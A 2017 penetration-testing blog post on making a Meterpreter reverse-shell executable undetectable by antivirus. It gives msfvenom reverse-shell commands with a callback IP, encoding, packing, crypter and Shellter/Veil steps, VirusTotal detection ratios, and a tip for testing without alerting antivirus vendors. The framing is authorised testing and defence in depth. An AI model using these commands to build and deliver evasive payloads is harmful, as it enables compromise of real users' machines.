Cybersecurity Insights

David Kirkpatrick

Penetration Testing: The Quest For Fully UnDetectable Malware

05/07/17 10:57

Malware continues to be one of the main attack vectors used by criminals to compromise user and corporate data. Using phishing or social engineering based attacks, criminals attempt to lure an unsuspecting victim into launching a malicious piece of code. It can then do anything from sit in the background as a zombie waiting for the next instruction, or something more sinister, such as lock your computer and demand payment. This is something we've  seen in the recent NHS WannaCry and Petya/NotPetya ransomware breakouts (as badly orchestrated as they may both have been).

In the case of this malware, it's being sent as attachments. The goal of the attacker is to create a payload in the attachment that is Fully UnDetectable (FUD) by Anti-Virus (AV) software. Therefore allowing the payload to bypass all controls, execute and make the attachment enticing enough for the user to open it.

If you google FUD you may get some ‘interesting’ definitions of the Celtic variety from the urban dictionary! For the purposes of this article and from a security perspective, FUD is the acronym to describe a piece of code that is Fully UnDetectable by Anti-Virus (AV) software. 

From a penetration testing perspective we want to replicate what the bad guys are doing in a safe manner. This is to check if a customer is vulnerable and to better mimic the threats that are being faced. In this instance, we are interested in generating code that will bypass the AV installed on the host we are trying to compromise.

FUD.jpgGenerating FUD code can be achieved by writing custom code that AV has no knowledge of. Relatively simple C# code was written to create a basic reverse shell, back to a netcat connection, which then  bypassed a popular corporate-grade AV. I was amused it succeeded so easily, so I wanted to compare my own code with common methods/tools used to bypass AV.

Much has been written about these techniques at length, so I will summarise the main methods we have used historically as penetration testers for on-disk AV bypass.

Technique

Description

Examples

Reference

Encoders

Encoding generally involves modifying the signature of the binary such that the AV won’t detect it. It can be done manually by modifying the code or using tools.

Msfencode (deprecated)

msfvenom

 

https://www.offensive-security.com/metasploit-unleashed/msfencode/

https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom

Packers

Packers (as the name suggests) compresses the executable file into compressed data using an algorithm, thereby changing its AV signature. The compressed data and the decompression code is created into one executable. When the binary is run, the decompression code recreates the original code from the compressed code before executing it on the fly.

UPX

mpress

FSG 

PECompact

MEW

 

https://upx.github.io/ 

https://autohotkey.com/mpress/mpress_web.htm

http://www.download25.com/fsg-download.html

https://bitsum.com/portfolio/pecompact/

Binders

Binders combine malicious code with another binary to create a new binary. The original AV signature of the malicious code is therefore modified.

Exebinder

 

Exejoiner

 

https://sourceforge.net/projects/exebinder/

 

http://www.exejoiner.com/download.html

 

Crypters

Crypters (as the name suggests) encrypts the executable to make it difficult for the AV software to analyse or decrypt. It does this by generating 2 parts:

1) A builder which is used to encrypt the given exe.

2) A stub which runs and decrypts the original binary on memory and then executes the binary from there, without actually touching the disk.

Hyperion

http://nullsecurity.net/tools/binary.html

Other solutions

Some solutions use a mix of the above or their own custom techniques such as dynamic shellcode injection and generally have a higher success rate

Shellter

Veil-Framework 

The Backdoor Factory

Ebowla

https://www.shellterproject.com/introducing-shellter/

https://www.veil-framework.com/

https://github.com/secretsquirrel/the-backdoor-factory

https://github.com/Genetic-Malware/Ebowla

Table 1: Antivirus Bypass Techniques and Examples

 

Out of all these techniques which is the best? Well, it depends. Remember, although the quest is for FUD, the reality is we only want to bypass the AV being used on our target.

To test your code it is always best to strive and have a local copy of the AV software to see if it detects it. Failing that you can submit to online scanning engines (e.g. virustotal.com) that run multiple AV software products against the file and informs you which ones passed. However, this is a sure fire way of distributing your code to the AV companies for inspection and possibly include your codes signature in their next release. Nodistribute.com is another such site that apparently doesn't notify the AV companies.

So to test out some of the listed methods of AV bypass, I’ll use a simple meterpreter reverse shell as my base. A meterpreter executable is one of the most used shellcode payloads to run on a host during a penetration test; this allows you to execute operating system commands and run other functions to compromise your target host. Things would be very wrong in the AV software if it did not detect it!

The reverse shell exe was created using the following meterpreter command:

  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=168.1.3 LPORT=4444 -f exe > shell.exe

Options used include:

  • -p => What type of payload to create (in this case a meterpreter reverse TCP shell)
  • LHOST => What IP address to connect back to (in this case 192.168.1.3 is my internal IP address but in a real-life scenario this would be a public IP of the attacker)
  • LPORT => What TCP port to connect back to (in this case port 4444)
  • -f => what file type to create (in this case a windows executable)
  • > => where to redirect the output (in this case to a file called shell.exe) 

For each of the new payloads created by the bypass tool, I’ll provide the basic command/instructions used to create the new payload and display the results in the table below.

Lets see, we’ll analyze the detection ratio on virustotal.com for each method used (apart from Veil-Framework):

Command

Method

Command

Virustotal.com Detection Ratio

Comment

1

Raw Exe (no modification)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f exe > shell.exe

48/61 = 78%

Unbelievably, not all AV’s detected this basic reverse shell. Nevertheless all the big ones do.

2

Msfvenom shikata_ga_nai encoding

 

 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o shell1.exe

47/61 = 77%

While using this encoder produced good results in the past, the AV vendors caught up and using this typical encoding method no longer  dramatically reduces the detection ratio.

3

UPX Packer

 

(packing no. 2)

upx -5 shell1.exe -o shell2.exe (65% compression was achieved)

45/61 = 73%

Using UPX packer method no longer dramatically reduces the detection ratio.

4

Mpress

 

(packing no. 2)

wine /opt/mpress/mpress.exe shell3.exe

31/61 = 51%

Using a less known packer can reduce detection to about  half of the employed AV solutions .

5

Hyperion

 

(encrypting no 2)

To get hyperion to work on kali you need to cross-compile with static libraries i.e. i686-w64-mingw32-c++ -static-libgcc -static-libstdc++ Hyperion-1.2/Src/Crypter/*.cpp -o hyperion_1.2.exe

 

Then we can run the command with line

/opt/Hyperion-1.2/Hyperion-1.2# sudo wine hyperion_1.2.exe /home/payloads/shell1.exe ./shell4.exe

45/62 = 72%

Interestingly this encryption method got worse detection ratio than mpress!

6

Shellter

Shellter is a GUI that runs in kali or windows. Choose which exe you want to infect e.g. puttygen.exe. Fire up shellter, choose automatic mode and go through the process. It will rewrite the original file and store the backup in the Shellter_backups directory.

14/60 = 23 %

Shellter produced good results.

7

Veil-framework v3.1.1

Veil-framework is a menu-based tool.

 

Tried payload Option 15) go/meterpreter/rev_https.py

0/61 = 0%

Note the SHA1 hash of the payload using the menu option “checkvt” was uploaded to virustotal. 

Table 2: Basic reverse http meterpreter detection ratios

 

The high detection ratios show that modern AV not only detect signatures, but also look for signs of packers and crypters being deployed. This is why older techniques no longer work so well. The results do show that you could still get lucky with what tool you use e.g. using mpress had a 50/50 detection ratio. The Veil-framework worked out best in the sample payloads created, however this was very much dependant on which payload option was chosen. 

So with the tools that are available for free, it's a bit of a trial and error approach to see which solution will work for your requirements. Shellter and Veil would offer the best chances for bypassing AV out of the short testing performed.

This brief exercise shows how easy it can be to use freely available tools to bypass AV and that a defence-in-depth approach is necessary to mitigate the ongoing threat of compromise due to malware.

It’s a bit of a cat and mouse affair. The important thing to remember is that your AV is not guaranteed to stop malware but should be treated as one line of defence of many that can be deployed. Additional controls, including non technical ones such as  providing employee security awareness training, strict egress filtering and patch management are some best-practice controls that can be used to help mitigate the threat of that elusive FUD software threat.

 

View Penetration Testing Services

View Threat Detection Services

 

TRENDING POSTS

David Kirkpatrick
Penetration Testing: The Quest For Fully UnDetectable Malware

Malware continues to be one of the main attack vectors used by criminals to compromise user and ...

Read More
Kirsty Trainer
"Key" to Secure Data - P2PE - Derived Unique Key Per Transaction (DUKPT)

Written by Andrew McKenna, PCI QSA, PCIP at Foregenix The encryption key infrastructure usually ...

Read More